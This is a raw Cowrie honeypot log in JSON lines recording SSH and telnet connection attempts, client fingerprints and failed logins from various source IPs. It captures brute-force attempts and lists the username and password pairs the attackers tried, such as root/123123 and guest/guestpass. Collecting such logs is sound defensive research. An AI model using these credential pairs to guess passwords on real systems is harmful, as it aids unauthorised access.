{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:34.490206Z","src_ip":"124.160.173.22","session":"252dff338b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.3130042552948,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:37.780173Z","src_ip":"137.184.5.188","session":"78bd88bdaa46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":45210,"dst_ip":"10.17.0.5","dst_port":22,"session":"91a61984dd9e","protocol":"ssh","message":"New connection: 162.240.35.200:45210 (10.17.0.5:22) [session: 91a61984dd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:39.696720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:39.700100Z","src_ip":"162.240.35.200","session":"91a61984dd9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:39.781760Z","src_ip":"162.240.35.200","session":"91a61984dd9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm456","message":"login attempt [root/farm456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:40.026906Z","src_ip":"162.240.35.200","session":"91a61984dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:41.681099Z","src_ip":"162.240.35.200","session":"91a61984dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"3da71f338664","protocol":"ssh","message":"New connection: 85.214.154.50:44052 (10.17.0.5:22) [session: 3da71f338664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:46.721045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:46.723905Z","src_ip":"85.214.154.50","session":"3da71f338664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:46.814677Z","src_ip":"85.214.154.50","session":"3da71f338664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xt","password":"xt123","message":"login attempt [xt/xt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:47.089251Z","src_ip":"85.214.154.50","session":"3da71f338664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:48.183507Z","src_ip":"85.214.154.50","session":"3da71f338664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.017520904541016,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:50.846011Z","src_ip":"137.184.5.188","session":"bda03e638b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":58334,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23dfc5c34c2","protocol":"ssh","message":"New connection: 211.251.245.88:58334 (10.17.0.5:22) [session: b23dfc5c34c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:59.074325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:59.078193Z","src_ip":"211.251.245.88","session":"b23dfc5c34c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:52:59.277917Z","src_ip":"211.251.245.88","session":"b23dfc5c34c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"12345","message":"login attempt [develop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:00.115572Z","src_ip":"211.251.245.88","session":"b23dfc5c34c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:01.320669Z","src_ip":"211.251.245.88","session":"b23dfc5c34c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":49568,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6b2ea38249","protocol":"ssh","message":"New connection: 177.76.134.52:49568 (159.203.135.109:22) [session: 6e6b2ea38249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:02.610936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:02.614220Z","src_ip":"177.76.134.52","session":"6e6b2ea38249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:02.767116Z","src_ip":"177.76.134.52","session":"6e6b2ea38249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w1q2w","message":"login attempt [root/1q2w1q2w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:03.370147Z","src_ip":"177.76.134.52","session":"6e6b2ea38249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:04.572205Z","src_ip":"177.76.134.52","session":"6e6b2ea38249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51950,"dst_ip":"10.17.0.5","dst_port":22,"session":"4902b01cf1f8","protocol":"ssh","message":"New connection: 91.92.40.176:51950 (10.17.0.5:22) [session: 4902b01cf1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:14.318917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:14.322981Z","src_ip":"91.92.40.176","session":"4902b01cf1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:14.403970Z","src_ip":"91.92.40.176","session":"4902b01cf1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestpass","message":"login attempt [guest/guestpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:14.648622Z","src_ip":"91.92.40.176","session":"4902b01cf1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:15.734092Z","src_ip":"91.92.40.176","session":"4902b01cf1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":35018,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c30d0fe6057","protocol":"ssh","message":"New connection: 162.241.33.238:35018 (10.17.0.5:22) [session: 5c30d0fe6057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:35.824507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:35.827579Z","src_ip":"162.241.33.238","session":"5c30d0fe6057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:35.851653Z","src_ip":"162.241.33.238","session":"5c30d0fe6057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"W1f$Tr0ng@P@ss","message":"login attempt [root/W1f$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:35.926524Z","src_ip":"162.241.33.238","session":"5c30d0fe6057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:36.953775Z","src_ip":"162.241.33.238","session":"5c30d0fe6057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":59552,"dst_ip":"159.203.135.109","dst_port":22,"session":"338d08b34fe8","protocol":"ssh","message":"New connection: 80.94.92.55:59552 (159.203.135.109:22) [session: 338d08b34fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:47.009644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:47.693982Z","src_ip":"80.94.92.55","session":"338d08b34fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:47.696317Z","src_ip":"80.94.92.55","session":"338d08b34fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44128,"dst_ip":"10.17.0.5","dst_port":22,"session":"d638b82b566f","protocol":"ssh","message":"New connection: 103.176.20.57:44128 (10.17.0.5:22) [session: d638b82b566f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:50.754422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:50.759212Z","src_ip":"103.176.20.57","session":"d638b82b566f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:51.002171Z","src_ip":"103.176.20.57","session":"d638b82b566f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08101983","message":"login attempt [root/08101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:51.731856Z","src_ip":"103.176.20.57","session":"d638b82b566f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:52.291822Z","src_ip":"80.94.92.55","session":"338d08b34fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":46730,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cc3357f773","protocol":"ssh","message":"New connection: 92.118.39.50:46730 (159.203.135.109:22) [session: 83cc3357f773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:52.811665Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:52.977180Z","src_ip":"103.176.20.57","session":"d638b82b566f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:53.122051Z","src_ip":"92.118.39.50","session":"83cc3357f773","protocol":"ssh"}
